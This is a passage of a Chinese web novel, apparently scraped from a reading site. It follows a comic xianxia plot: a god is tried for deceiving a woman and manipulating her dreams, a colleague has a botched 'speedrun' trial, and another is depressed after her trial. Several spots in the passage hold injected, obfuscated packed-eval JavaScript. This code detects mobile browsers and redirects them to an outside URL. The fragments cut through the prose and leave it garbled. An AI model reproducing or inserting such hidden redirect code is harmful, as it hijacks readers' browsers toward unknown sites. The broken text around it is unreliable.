后者颔首，一挥手，一位柔美的女子怯怯地被陆珈她们带进了主殿。 “！”小扶疏目不转睛盯着来人，撑着桌面的手指指尖白得没有血色。 夏至凛：“童姑娘本来还不信是你自导自演的一出戏，感谢你的坦诚，让我们不用多费唇舌。” 小扶疏：“千……” 童寻千不敢置信地看向他：“我以为真是自己弄坏了你的扇子，没想到这只是你的骗局！你愧为封神仙者！” “不是！是误会！寻千你听我解释！” 童寻千根本不搭理他，转向夏至凛，真诚道：“夏掌刑，你之前问的问题我现在说可以吗？” “请便。” 于是童寻千说了另一个故事。 差不多两个月前，她隐约感觉总有奇怪的视线盯着她，让她很不舒服。她怀疑是灾怪作祟，于是向相睦会荼城分会提出派人调查的诉求。没多久，风神小扶疏就出现了，说是上头派来调查的，希望她能配合。 夏至凛：“插一句，查过荼城分会记录，分会没有接到这个诉求但是信箱里确实出现过包含相关内容的信件。——温馨提示，相睦会回应百姓诉求的行动，一般不会少于两名执司。” 童寻千不知道这些，看到小扶疏的执司证和仙者证便深信不疑，积极配合调查。小扶疏在她身边调查了差不多半个月，真的发现了一只巨大的灾怪！那灾怪凶残可怖，童寻千还被俘虏了，多亏小扶疏拼命相救，童寻千才虎口脱险，只不过激战中她不小心弄坏了小扶疏作战用的武器折扇，导致小扶疏重伤险胜。 “……我十分愧疚，所以主动说要照顾他直到他康复，而且会帮忙干活赔偿损坏的扇子。”童寻千说。 夏至凛：“补充，经调查，未在荼城发现灾怪的痕迹，也未发现与灾怪搏斗的遗存，但是在荼城内发现了可以制造幻觉的醒梦石碎片。” 夏至凛又问童寻千，这段时日她在小扶疏身边干过什么，是否对其表露过爱意。 童寻千连忙否认：“不不不！我一心想着清偿，哪有精力想那些情情爱爱！这段时间我都是从早忙到晚做家务做饭照顾他，还要每天讲睡前故事，忙得我什么想法都没有！要不是夏掌刑你来找我，我还深陷忙碌中想不到出门呢！” 小扶疏激动：“寻千！” “……非人哉。”英理事长忍不住发言。 林鸿低声：“咳，理事长，注意素质。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之后他寻寻觅觅，在荼城发现了和自己记忆中的人几乎一模一样的人，那就是童寻千。此后他便再也按捺不住自己的心，想方设法接近她，与她日久生情。 百捷在小扶疏感情饱满地回忆心路历程时，小声询问当事人童姑娘，是否真的日久生情了。 童寻千一头雾水：“并没有，我们就是正常交流啊？我对他跟对待救济院的孤老没有分别。” 百捷盯了她许久，不得不承认，这小姑娘坦诚极了，眼睛里没有对小扶疏的一丝丝多余感情。 而那头，另一个当事人完全不知道自己在自作多情，忘我地大放情怀。 小扶疏认为他们已然相爱，见时机成熟，便将他们的过去写作故事，让童寻千日日诵读，并且在她入睡之后，利用法器制造梦境，让童寻千身临其境地体验他们的过去。 “……我没听错的话，这是洗脑吧？”百捷脱口而出。 小扶疏辩驳：“自然不是！我只是让她想起她忘记了的我们经历的过往！” 百捷：“哥儿们你醒醒！轮回镜自成一方世界，童寻千又不是仙者，怎么可能进轮回镜跟你渡劫？” “不是本体也是原型！树无根不长，轮回镜不能凭空制造一个个鲜活的人，定是有原型！既然是原型，那就是遗失了部分记忆的她！只要恢复记忆，怎么不是我要找的人！” “拜托，童寻千没失忆，你希望她记起的是你不管不顾硬要灌输给她的！” 小扶疏勃然：“你理解能力太差了吧！？我都说那么清楚了还要我讲几遍！？” 百捷无语，忍不住扭头问边上的人：“这玩意当初是怎么通过天道试炼成为仙者的？” 反正之后的事大家都知道了。 小扶疏想要名正言顺和童寻千在一块，于是去情理所办登记，被否，半夜偷摸伪造文书被逮。 “……畜生。” 林鸿脱口后，察觉到英理事长等人的视线，不好意思地示意自己失态了， 待小扶疏叙无可叙，夏至凛才向林鸿再度申请判决。 林鸿沉吟片刻，拍板定案：“斗武殿执司小扶疏，目无律法，蔑视人理，恶行累累，是以宣判，撤去‘风神’神衔，罚银五百两，关押于慎刑殿地牢一百年整，即刻执行！” 夏至凛：“慎刑殿领命。” “这不公平！”小扶疏闹起来，“难道只有我有错吗？凭什么给我这么重的惩罚！” 林鸿看向夏至凛，后者淡道：“此案中，除了犯案者小扶疏，其余人略有纰漏，但尚未达到量刑标准。” 小扶疏分辩：“恶因结恶果，我是果，你们不查因的吗？我是被逼无奈情非得已！掌舵你是看着我被封神的，理应了解我——难道我是那种胡作非为的人吗！？” “……” 林鸿叹息：“的确……小扶疏是我看着长大的，他虽然固执任性傲慢无礼……但不至于视人命为草芥、视律法为无物，否则天道也不会认可。——你认为谁才是应当惩罚的‘恶因’呢？” 小扶疏恨得牙痒：“司劫灼春！” “咳咳……” 百捷被瓜子呛得咳嗽。 怎么个意思？苦主之一成被告了？ 43.闹剧落幕 在一众沉默中，小扶疏刺刺不休地指责灼春司劫时设置的剧情让人痛苦、无法抽离、无心生活，絮絮聒聒地将灼春骂了个狗血喷头。 只可惜……在场诸位全部没有体验过灼春的司劫，所以不明白他苍白叙述的劫难有多让人难以忍受，都认为这是犯错者特有的推卸责任。 “……夏掌刑，你觉得呢？”林鸿问。 “……”夏至凛缓缓开口，“尽管我非仙者，未进入过轮回镜，但我认为，无论在镜中历经多少磨难，都不应该将执念带入现生，不该给他人造成伤害。” 小扶疏怒骂：“站着说话不腰疼！你没经历过，所以才能说得那么轻松！你知道我有多痛——” “不论多痛苦，那是你自己的，不该对外发泄牵连他人。”夏至凛冷眼以待，“世上苦命人千千万，若人人均以此为由行恶事害他人，这世界早荒芜了。遭逢不幸的确叫人同情，不该苛责许多，但你自己应当有数，伤害自己尚可以谅解，而为人底线，至少不当伤害他人。” 灼春匆匆赶到主殿，人已经散得差不多了。她揪住正在哼着小调扫瓜子皮的百捷，问具体情况。 百捷：“吔，都散场了你才来？索性别来了呗。” 灼春嗔怪地给她一手肘：“啧！你也不待见我么！我这不是司劫正到关键时候脱不开身嘛！” “嘁，你时时刻刻都关键。” “喂！” “好嘛，我是说，反正都那么迟了，索性别来，再等会儿理事堂就该广而告之了，回头你直接看公告就行！” 灼春担心：“到底怎么了？我听说我家情理所遭窃了？诶，我那边俩孩子没事吧？受伤了没？吓着了没？丢什么东西了？” “……” 百捷烦恼地挠挠头，嘟囔：“就说让你看告示了吧，这事内情太复杂，三言两语我还不知道咋说……总之就是，没有人员伤亡，小扶疏认罪伏法被陆珈她们押回慎刑殿坐牢了。” “啊？”灼春没懂其中的逻辑。 所以行窃者是小扶疏？他居然认罪了？还审判坐牢了？ 百捷猛一拍脑袋，叹：“还好你没来，否则你和小扶疏估计得吵很久！现在好了，夏至凛帮你把小扶疏的诘难堵回去了！” “啊？？”怎么又和她扯上关系了？自己不是受害者吗？ “唔……反正我也不好说……哦对了！夏掌刑还在附近安抚苦主呢，你直接问她去吧！”百捷推托说。 灼春：“……？” 等会儿……苦主不该是她情理所吗？ 百捷领着她找到正在角落和童寻千说话的夏至凛。 “……这是小扶疏的罚银五百两，掌舵的意思就是当作你的赔偿。我知道对于受害者来说这点钱远远不够，但你还是先拿着，如果后续小扶疏还能罚款，我们会联系你的。” 走近了听见夏至凛的声音，灼春感叹还是第一次听见她这样温柔的语调。 百捷表示—— 哈？温柔？这不还是那个平静得跟死了八百年一般的语气吗？ 灼春兴冲冲地跳出来：“罚款？还有罚款？夏掌刑，我们情理所也是受害者，罚款怎么不分我们啊？” 夏至凛半侧头：“情理所的维修归理事堂管，维修金问金钱殿报。” 百捷：！ 她听出来了！确实语气有不同哎！这么一比较，夏至凛和她们说话是死了八百年的语气，跟童寻千讲话则是死了六百年的语气呢！ 灼春失落地哦了一声。 意思就是罚款没份呗。 夏至凛回头继续与童寻千讲话。 夏至凛：“掌舵交代我的，我已经说完了，希望你不要对我们相睦会失望。” 童寻千莞尔一笑：“不会！我知道这次是例外！相睦会的大家都是为我们老百姓着想的好人，不会失望的！真要论，我也是靠着相睦会施援手才活下来的，怀疑施害者个人的品性也不会怀疑相睦会的目的！” 童寻千又说：“那没事的话，我就先走了？” “等等。”夏至凛喊住她，斟酌道，“虽然你说自己神经粗，不记得梦里发生的事，但是造梦法术或许在你没注意的地方产生了影响。如果你同意，我想我可以帮你清除造梦留下的痕迹。” 夏至凛不提，童寻千自己都忘了还有这回事。小扶疏在她不知道的情况下改造了她的梦境，现在想想她都有点膈应，担心自己真会发生什么改变。正巧夏至凛主动提出帮助，她哪有不接受的道理！ 夏至凛以自己惯用的法器一尺棰为媒介，为童寻千解除小扶疏的法术影响。 法术完成后童寻千便向她们告别，接着灼春就和夏至凛聊起了案情。经过对方的叙述，灼春终于明白自己错过了什么。 她倒还好，觉得以小扶疏的性格做出这事还算意料中。她想的更多的是，等之后鸣桐出来得知自己错过了这么个惊天大瓜，应该会捶胸顿足抱憾不已吧？ 同时，再听一遍经过，百捷对那个“睡前故事”的好奇心又起来了，问夏至凛有没有调查过内容。 “那个啊，我拜托童小姐誊抄了一份给我们留底，但是——你！” 夏至凛才拿出薄薄的一本册子，百捷就趁其不备抢了过去。 “……”夏至凛提醒，“我话说在前头，打开这本册子会有什么后果你自己承担。” 百捷不以为意：“不就一个故事，能有啥后果！” “你等……” 灼春忽地意识到什么，正要阻拦，忽地一记天雷砸下，刚看了两行字的百捷被劈得身形不稳打趔趄，晕晕乎乎地问发生什么事儿了。 “这是小扶疏渡劫的经历，天道不让外泄。”灼春无奈。 夏至凛颔首：“正是。我们的人想多次想阅读都被天道惩罚了，所以用术法誊抄一份不过是作为证据留底，目前尚无人可知晓其中的内容——你！” 夏至凛刚说了看不得，灼春夹起册子就毫无顾忌地看起来。面对夏至凛“怎么一个两个都不听人话”的表情，她骄傲地称自己是小扶疏的司劫者，所以有知晓特权。 灼春一目十行地看完，惊讶小扶疏胆子大。 “一点变动都没有，十足就是小扶疏眼中的对方视角的经历！” “……”夏至凛评价道，“挺绕的。” 灼春困惑：“不是，这故事童小姐一凡人能看得了？天雷不劈——啊对，她是没修炼的凡人，挨不住……啊不对，她是凡人天道就不罚了？” 夏至凛：“非也。据童小姐说，每次她念睡前故事，小扶疏都会被雷劈，直到劈晕。” “这童小姐够厉害啊，亲眼看见眼前人被雷劈还还不惊慌失措？” “不，童小姐说她以为是仙者特有的助眠仪式，虽然不理解但是尊重个人喜好。” “……喔，海纳百川，厉害……” 夏至凛与灼春她们聊了一会儿便告辞回慎刑殿处理公务。 百捷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978406|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被雷劈后还在恢复，突然接到兼职缺人的信息，立马抖擞精神冲过去应聘。灼春问她是不是很缺钱，百捷回答：“我缺的是钱吗？还不是龙缨那家伙！自私鬼！不给人留个活！光知道吃独食！我都快闲成蘑菇培养基了！——我不跟你说了，兼职指不定什么时候就被龙缨截走，我得赶快……” 灼春并不理解百捷积极的精神。 清闲点不好吗？她这辈子求的就是一个清闲，她现在这么忙碌为的也是之后的清闲。 不理解百捷，身在福中不知福……要是她也有一个这么积极的同事就好了，那她就可以每日悠哉悠哉，喝着小茶四处瞎溜达，多妙啊～ 灼春想着自己出都出来了，干脆在外头多待一会儿，情理所出了这事，她最好还是回去看看，顺便关注关注下属的心理状态，当一个合格的上司。 然而当她回到情理所，她发现自己成了那个最需要关注心理状态的人。 “夭寿了！不是说小扶疏是来伪造文书的吗？干嘛把我这砸成这样！？泄愤吗！？有没有良心，有没有道义，有没有谱啊！！” 正在收拾满地狼藉的麻惠良：“那个……其实这些是百捷老师不小心……” “……造孽啊我怎么摊上这么个朋友……怪不得她妈烦她呢。” 抱怨归抱怨，灼春还是撸起袖子和她们一起收拾残局，需要补充修理的东西各列清单，该找哪个部门讨就找哪个部门讨。 灼春揉着酸疼的脖子，看着需要向金钱殿和藏宝殿递交的清单，忽地想起自己与那俩殿顶头上司的恩怨了。 ……风水轮流转了这不是。 凤脊那头暂且不提，一时半会儿和解不了。吉吾那边……距离上次两人见面过了不少日子，吉吾寂心期似乎的确快过了，听说所有人都能察觉到她的状态不对，或许真的很紧张？ 灼春觉得自己这么大剌剌地去问她要修理费，免不了遭罪，不如先卖个乖示好？反正凤脊那边也得去，索性连办公用品带轮回镜一齐拿了！ 只是怎么让那家伙乖乖听话呢？ 唔…… 灼春思索着凤脊的弱点，不由自主地就想到了她在轮回镜里的表现，那时候自己为了找能让她心神波动的劫数可费了不少心思呢，啧，这人还白眼狼不领情！ ——哦？ 灼春隐约摸到了拿捏凤脊的思路。 “小程，你拿着这张单子去藏宝殿找凤脊，务必把东西拿来——还有轮回镜，也借个一面来。”灼春使唤着程冰津跑腿。 程冰津接过单子看了一轮，听说是去藏宝殿找凤脊，高高兴兴地就蹦跶着去了。 她不负使命，在短短两个时辰后，带着轮回镜及其他零零散散的物件回来。 她这样顺利从凤脊那儿满载而归，让藏宝殿的执司们都目瞪口呆，连凤脊本人都感到世界观被刷新。据说那天之后，程冰津就被藏宝殿执司私下供起来，奉为神明，每次要找凤脊通过什么事，都会先拜拜程冰津，而后再去找。 至于效果么……就无从得知了。 经过此事，凤脊对灼春的嫌恶得到了质的提升。 但是，灼春才不在乎。 打她？她有百捷。 工作使绊子？她有小程。 同归于尽？当老大真是干吃饭的？ 凤脊最多阴暗地扎小人，除此之外对她构不成任何影响，何惧之有？ 嘿嘿，掌握拿捏对方的窍门后，工作变得好轻松！ 44.一劫速通 灼春向吉吾带去了好消息，但吉吾并没有交还意料中的好消息。 灼春：“吉吾，做个交易吧！你帮我把报销单批了，我就帮你从凤脊那儿要来轮回镜如何？” “报销？你找小胡吧，我暂时没空。” 吉吾看都没看灼春一眼，脚步生风掠过她走出金钱殿。 “……？” 灼春走向在吉吾工作桌上翻资料的瘦削年轻人，莫名道：“小胡，她咋了？哪儿的大坝决堤了吗这么急？前段日子不还郁郁寡欢没精打采的吗？”比自己寂心期渡劫还急？ 小胡耸肩笑笑：“前段时间的司库确实莫名惆怅，但这几日她突然想开了，积极投入工作，行动力比之前的‘高’还要‘高’。就像现在，她又出去跟夏侯仙者谈生意了。” 夏侯仙者？ 灼春想起来了。 对了，之前新飞升的那个仙者就叫“夏侯振川”，天道即时将她的姓名外貌等基础信息同步给所有仙者过。 “她？她们能谈什么生意？新仙者诞生的时候吉吾都没去祝贺，她俩不熟吧？” 说着，灼春将报销单递给小胡，小胡一边浏览一边应话。 “话虽如此，但夏侯仙者有个纸鹤术，司库说隐藏着巨大商机不能错过。”小胡往单子上敲了个章，施法复制了一份，将复印件递还给她，“大部分审批通过，过两天我们会把钱发给你，最迟不超过七个工作日——但是复原设备布置的人工费不符合报销规定，驳回。” 灼春本来就对人工费的报销没抱希望，只不过加进去凑个数，万一对方要讨价还价时留个余地。 事情比想象中顺利，灼春拿着单据忽然冒出了点良心。 吉吾……真不管了吗？ 如果这样什么都不干，拖过寂心期，那她就变成凡人了喔？ 灼春想着自己好歹兼任司劫，跟渡劫相关的事她不得袖手旁观，便问了小胡地址，过去问问吉吾，尽到自己的责任。至于之后对方怎么抉择就不关自己的事了！ 但是能怎么抉择呢？肯定优先渡劫喽！ ——“我现在真的没空和你掰扯，你先自己去玩行不行？” 吉吾如是说。 追到夏侯仙者家的灼春：“……？” 她看着自己手里被塞的糖果，大脑放空了一瞬。 等等……她是被打发了吗？ 不是……渡劫和谈生意，吉吾选择了生意？ 还真有人只羡财富不羡仙啊？ 她疯了吧！？ 灼春把糖果撕开丢进嘴里，想要抓住吉吾分析利弊，让她脑子清醒一点。不料，吉吾反而用极快的速度跟她分析了纸鹤术的商业价值，反向分析了利弊，结果灼春还真觉得似乎谈生意更要紧？ “……正因为寂心期快过了，很有可能变回凡人，我才要将一些遗忘的意识重新捡回来！凡人的生命是短暂的，我要珍惜每分每秒，尽力为世界创造自己的价值！浑浑噩噩、毫无价值地活着，纵是寿与天齐，和乌龟王八又有什么区别！” 灼春：！！ 但是吉吾的舌灿莲花对当事人夏侯振川丝毫不起作用。 灼春在自己价值观产生冲击时，目睹了夏侯与吉吾间的推拉—— 夏侯：“滚。” 吉吾恳切：“振川，请你相信作为金钱殿一把手的我！我一定能将纸鹤术发扬光大，让它在全天下各个角落都得到应用，你的名字将会载入史册！每年给你四成分红如何？已经提高了两成，我现在是赔钱做买卖，真不能再高了！” 夏侯：“嗯，滚。” 吉吾：“……振川呐，不要那么死心眼嘛！难道你不想造福百姓吗？想想你身为仙者的责任与担当！那么多人盼着你大展身手呢！” 夏侯斜眼看她：“我凭自己实力当的仙者，他人与我何干？区区一个法术就造福所有人了？你未免太看得起我。你作为有担当的仙者，有这工夫，不如多修几条路，多种几山树，多造几栋楼，多发几套屋。” 吉吾苦口婆心：“勿忘初心啊川！你回忆回忆，当初为什么要创造纸鹤术？你那时想的什么？是什么推动你前行的？” 夏侯：“无他，兴趣。” 吉吾捶胸顿足：“……振川，你辛辛苦苦发明了纸鹤术，难道就忍心这么束之高阁，让它荒废于此吗？” 夏侯：“荒了也比被偷了强，我乐意。” …… 总之，就是油盐不进。不论吉吾说什么，夏侯就一句“我不同意”，毫无观赏性。 灼春明白了，只要不让夏侯点头，吉吾是不会安心去渡劫的。 啧，多大的事，纠缠个没完没了的。 灼春忍不住说：“吉吾你别在这耗了！你直接弄清楚这个法术怎么用，自主开发不就得了！你手下又不缺奇人志士，何必征求她同意！怪烦人的！” 夏侯恶狠狠地瞪着她，冷笑：“就是为了防止你们这样的不法之徒，所以我早去理事堂申请了专利！” 灼春看向吉吾，后者叹息着点头。 软的不行来硬的！ 灼春心烦，当即拍桌子，凶狠道：“你小子别不知好歹！知不知道我们吉吾姐是什么人？刚飞升成仙者就嘚瑟，你还想不想在会里混了！？信不信吉吾姐有一百零一种方式不留痕迹地虐死你！” “就那矮子？” 夏侯眯着眼横了吉吾一眼，后者连连摆手，把头摇成拨浪鼓：“别看我，我们不熟！我不认识她！” 接着，吉吾扽了一把灼春，小声呵斥：“你干什么！不要在这裹乱，快走！” 灼春不愿意：“你以为伏低做小就能成功了？对付这种横的人，你就要比她还横！你比她横她才会好好跟你聊！” “你在瞎说什么鬼话！” “你别不信！她不是不愿意展现技术吗？嗤，明明上次老大就用纸鹤术给我传消息了！教老大用不教你，她啊，就是趋炎附势，畏强凌弱！你就是姿态太低才被刁难的！硬气点！” “掌舵那次是夏侯振川代为施法，掌舵并不知道如何用……”吉吾一顿，隐约察觉到矛盾点。 夏侯并不是畏惧权势的人，那她能为掌舵施纸鹤术，说明她本人并不介怀术法的应用。那么她现在如此抗拒…… 专利…… 防止不法之徒…… 荒了也比偷了强…… 吉吾：“！” 她明白夏侯在执着什么了！ 吉吾撇开灼春，与夏侯走到边上语重心长地聊了一段。灼春没听见对话内容，但能看到夏侯铁青的脸色逐渐好转，冷硬的气场逐渐软和，由此看来，吉吾似乎找到了沟通的窍门，生意有了转圜之地。 太好了！这样吉吾就能到轮回镜里渡劫了！ ——诶？她跟着激动什么？ 灼春等了片刻，吉吾与夏侯振川便聊完，融洽地结束了会面。 吉吾蔼然地招呼灼春商量司劫的事，但灼春更好奇她与夏侯的生意如何。 吉吾和颜悦色：“谈成了，夏侯同意授权，但是为了能达成需要，现下要去研究如何改良纸鹤术。” “达成什么需要？要改良成什么样啊？” “这就不是你该操心的了。”吉吾笑着截断话题，“司劫小姐，你打算怎么安排我的渡劫啊？” “噢噢，这个咱找地方坐下慢慢谈！” 灼春将人带 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她想了想，提道：“难度不用太高，数量也不用多，只要达到最低限度就好，我对提升法力没有需求。还有嗯……我希望在镜中的世界能长些，让下次寂心期没那么快到——但是因为我事儿很多，所以实际渡劫的时间越短越好，不要影响我工作，就是——速通懂吧？” “行，知道了，镜中时间流速调到最大，劫数只要最低数目，难度降到最低……速通是吧？” 灼春唰唰唰做着笔记，确认了历劫要求后，便开启轮回镜让吉吾进入。 调整好轮回镜参数，灼春根据吉吾的要求想了想，觉得太没挑战性，不过顾客第一，只能按人家说的来。 历劫时间要长，实际时间要短，难度要小数量要少…… 于是灼春就把需要操作的地方设置在了头尾两部分，中间漫长无趣的生活直接调整流速快进掉。 吉吾是上午进的轮回镜，当天傍晚，轮回镜风铃响起，她就出来了。 灼春啪叽啪叽鼓掌欢迎，没有躲。 这次司劫非常顺利，而且难度不大，全按吉吾自己的心意来，其身心都没怎么受创，不可能暴怒—— “灼春！你！……你知道最低难度是什么意思吗？你知道‘速通’是什么意思吗！？” 吉吾回过神来第一句话就是青筋暴起地质问。 灼春对此质问有些意外又并不意外。 好吧，根据她的经验，此时不管说什么都是“狡辩”，而且对方也不听，干脆顺着她糊弄过去得了。 只要不挨揍，就算别人说“兔子是猫”，她也会回答“嗯嗯是的呢”。 灼春敷衍回答：“嗯嗯嗯我错了……” 吉吾怒：“我说要速通，是想快速通过这段时间，这段时间里平平淡淡过去就好，你呢？好家伙，是没事发生，但让我一直沉浸在痛苦中旁观而无能为力！这是速通吗？这是漫长的折磨！！” 灼春一只耳朵进一只耳朵出：“嗯嗯嗯。” “对，劫数是少，够资格的就一难……但你无限延长了这份劫难的时间，还让我失去结束这份苦难的行动力！在漫长而痛苦的时间中，无力感越积越深，濒临绝望……你还不如多几个劫数，让我能够行动，而不是什么都做不了只能看着灾难发生！” “嗯嗯嗯，是我错了，是我没有理解你的要求，我实在罪大恶极罪无可恕……可以了吗？您要不先回去歇着？” “你——” 吉吾正说话，鸣桐所属的风铃响了。 45.风雨凄凄 鸣桐渡劫结束后，一直郁郁寡欢，也不怎么说话，连其他渡劫者那种火冒三丈的生气都没有。 灼春一开始还挺高兴对方的平心静气，敷衍走吉吾，想赶紧交大纲商量合作写书的事，但是鸣桐就跟丢了魂儿似的，在谈话过程中数次走神，需要灼春重说。往往半个时辰过去，双方才进行两句有效对话。 可能是镜中经历太多，需要时间淡忘。 于是灼春体贴地避开了几天，给鸣桐独处时间。而鸣桐回了生灵殿，也久久没有开放殿门。 灼春熬到林鸿给的药吃完，身体内外再度不适，忍不了了不得不再找上门去，求鸣桐给自己治治。 鸣桐应下。 不过，把脉、针灸、开药时仍然是之前那个恍惚的状态。 “……鸣桐，把脉需要一个时辰吗？” “……鸣桐，这个药方里，马兜铃二百斤、芡实三百斤、沉香六百斤……你确定是我一次的量？” “……鸣桐，针灸需要手指那么粗的针吗？还有，扎百会穴，你在我玉枕穴摸什么？” 鸣桐扶着灼春的脑袋捏着针愣住，叹了口气，将银针放进针灸包。 “抱歉，我状态不好，没法为你治病，你还是找别人去吧。” 灼春心说别人那不是要钱么，能找的话前些日子就找了，这不穷，没辙么…… 灼春耐着性子问鸣桐到底怎么了，是不是对她司劫有意见。 “如果你觉得生气，看我不顺眼，那你……那你就打我一顿出出气！打完咱们就告别过去，展望未来！” 灼春咬咬牙，做好挨揍的准备。 “……”鸣桐怔了怔，叹息苦笑，“我没有生你的气，你将自己的工作完成得很好，无可厚非。是……是我自己，经历过所有劫数，我才领悟到，曾经自己是在高高在上地坐而论道。我……我只是讨厌自己……” 鸣桐在灼春开口安慰劝说前抢着接话：“别担心，我知道这样不好，会尽快调整。这些日子，就辛苦你自己了——写书是吗？我知道，等我心情好些就写。” 鸣桐看着实在不太明朗，不等她赶，灼春就自请离开。 见到这样的鸣桐，灼春第一次发自内心地怀疑自己司劫是不是做得太过火了。 可是…… 灼春身体的苦楚都被脑内各种情绪挤占得减轻不少。 像是为了配合鸣桐的伤心情绪，新阳连着下了数日的雨。发丝一般细的雨，接连不断地飘着，撑伞让人觉得不至于，不撑伞又能切实感受到雨水，在外走一路也会湿了衣表。 唯一阴沉无雨的那天是第二次资具考发布成绩的日子。 “资具考考试成绩出来了！” 第二次考试成绩出来，几个相睦会执司将告示贴在街道的公告栏上。还在张贴，就有一堆考生闻讯涌来，为了看清结果，差点把张贴的执司挤倒。 麻惠良不想和人群挤，又想知道自己的成绩，于是在最外围踮着脚张望。 麻惠良麻惠良麻惠良…… 啊找到了！ 麻惠良眼神一暗。 是第二名，没考上…… 到了情理所，程冰津热切地问结果，麻惠良羞愧地说了排名，暗自决定找到下一份工作就跟偶仙说辞职。 “第二名？成绩很好啦！”程冰津乐呵呵地问，“第一名是谁？有注意吗？” 麻惠良闷闷不乐：“叫‘夏侯振川’……” 上次考试没见过这个名字，是刚找工作的小孩子吧？真丢脸，她本不是佼佼者，后浪一浪高过一浪，日后她还能不能混到饭吃都是个未知数了…… 程冰津一拍腿：“那是前段时间刚飞升的新仙者啊！真厉害！一次就考上了！还是第一名呢！小麻姐，只输给人家，咱不丢人！” 麻惠良暗叹仙者之流果然乃人中龙凤，丧气道：“不丢人有什么用，结果还是没考上……” 程冰津“嗯？”了一声，而后恍然，笑嘻嘻说道：“我忘了告诉你，这次考试招十个人，所以只要排名前十就能通过了！” “……？” 对上麻惠良错愕的神情，程冰津解释：“灼春姐担心你盯着第十名结果考出十一名，于是一开始就把只能考第一的压力留给你，这样你就能发挥出全部实力了！你看现在！考了第二，不管发生什么，都能妥妥地考进来！” “……” 麻惠良哑口无言。 真考上了，不知道该高兴还是不高兴。 她……真没那么高尚的志向…… 梅雨季阑风长雨，林鸿不郁闷也要被天气逼郁闷了。 她是大夫，妙回堂里全是药材，潮湿的天气将药材都快闷软发霉了，这样下去日子怎么过？这天怎么能半个晴天都不给啊！ 林鸿怀着不爽利的心情，不得不把仓库打开，在地上把药材一份份摊开，耗费法力人工烘晒。 然而仓库才搬了一点，她忽地听见窸窸窣窣的声音。 该不是进老鼠了吧？ 林鸿猜测着立刻从内关上仓库门，幻化出一只捕鼠笼，蹑手蹑脚捉老鼠—— “收！” 发现形迹后，林鸿当即把银丝笼掷出去。笼子落地立刻自动追击目标，收缩大小直接将目标吞了进去。 林鸿召回笼子一看，不是老鼠，是罕见的金皮火背熊，这只还是个幼崽，还没一截小臂长。 “珍兽啊……你是鸣桐家的？好小子，偷吃到我头上了！要不是雨季清仓库，你打算在这长住了是不？” 林鸿将可怜兮兮哼唧的熊崽带笼放到角落，加快整理药材的速度，顺便还检查了下仓库的坚实程度。在林鸿仔细搜查下，果然发现了几处“老鼠洞”！当然，在发现的同时就被她堵上了。 林鸿造出一个温和的小太阳悬在仓库顶，接着便关上门，提着笼子和偷吃自己药材的贼熊到生灵殿讨说法。 结果她刚到生灵殿大门口，就看见偶仙被一群飞禽走兽又是啄脑袋又是叨屁股的赶出来，嘴里哭哭啼啼地喊求饶。 “……” 林鸿立马背过去装看不见，等到灼春被彻底赶走，才跟在一大群鸟兽后头走进生灵殿——鸣桐坐在榻上，一动不动地看着前方的地面。 鸟兽们一改对待灼春的狂暴态度，纷纷温顺地伏在鸣桐四周，发出“呜呜”的可怜声音。 “鸣桐？” 林鸿皱着眉喊了一声，过了许久，鸣桐才恍然一惊，注意到殿中的存在。 鸣桐气弱：“掌舵……你什么时候来的？我……我刚走神了都没注意到，抱歉……找我有什么事吗？” 林鸿诧异地看了看自己手中呜呜叫的夺目熊崽子，最终把它放到一边。 鸣桐这个状态显然不正常，不适合谈正经事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987298|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林鸿思考了下最近鸣桐的经历，关切道：“是不是渡劫不顺利？还是殿里哪只宠物遭遇不幸了？还是其他……” “没有，一切都好。”鸣桐低头抚摸着趴在膝上的黄虎的脑袋，“轮回镜里遇到太多印象深刻的事，我一时有些混乱……灼春说，过段时间，等记忆褪色了就会好的。” “唉，又是……鸣桐，不必瞒我，料想又是灼春司劫做过头了吧？不必担忧，大家都有这个副作用，只不过你……的确更严重些？”林鸿玩笑道，“要不我把灼春喊回来，再让你打一顿出出气可好？” 鸣桐叹息：“谢掌舵关心，可我没气要出。灼春……只是尽到了自己的责任，没理由怨她……” 林鸿笑：“那你刚刚还让你的小朋友们把灼春打出去？” “有这事？” 鸣桐惊疑看向身边的鸟兽们，见它们纷纷垂头，便知道此事不假，当即板起脸呵斥，罚它们去清点药库。 待小动物们退场，鸣桐才讪讪解释，因为灼春不答应她的一个请求，她的朋友们就以为灼春令她不高兴了，所以才为她打抱不平，并不是因为渡劫的事。 请求？ 联想到不久前小扶疏的事迹，林鸿当即警铃大作，警惕地问是不是关于要弥补渡劫时遗憾的请求。 鸣桐被这莫名的猜测问愣，回过神来马上否认。 “现实与虚幻我尚分得清。” 担心林鸿仍有疑虑，鸣桐索性将事情说清楚。 “……我看中了情理所的一个小执司，想跟灼春商量把人调到我这，但灼春说她人手不足，不肯。那我就只好歇了心思，仅此而已。” “嗯……”林鸿颔首。 